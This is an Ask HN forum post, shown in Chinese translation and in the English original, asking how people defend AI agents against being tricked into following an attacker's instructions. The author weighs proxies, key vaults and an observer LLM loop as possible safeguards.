提问 HN：你们如何解决 AI 的“糊涂副手”问题？
1 分•作者: david_shi•大约 1 个月前
一个智能体的价值与其被授予的权限成正比。
围绕诸如默认拒绝代理、密钥库等解决方案，一直存在很多炒作，但似乎没有任何东西能解决核心矛盾：智能体可能被欺骗，从而听从攻击者的指令。
我能想到的最好的办法是运行一个观察者循环，用另一个大语言模型来监控智能体所做的一切，但我很好奇是否有人有更优雅的解决方案。
查看原文
An agent's value is proportional to the permissions it's been granted.<p>There's been a lot of hype around solutions like default denial proxies, key vaults, and more, but nothing seems to address the core tension: an agent can be tricked into doing an attacker's bidding.<p>The best thing I could think of was to just run an observer loop and monitor everything the agent does with another LLM, but I'm curious if anyone has an elegant solution.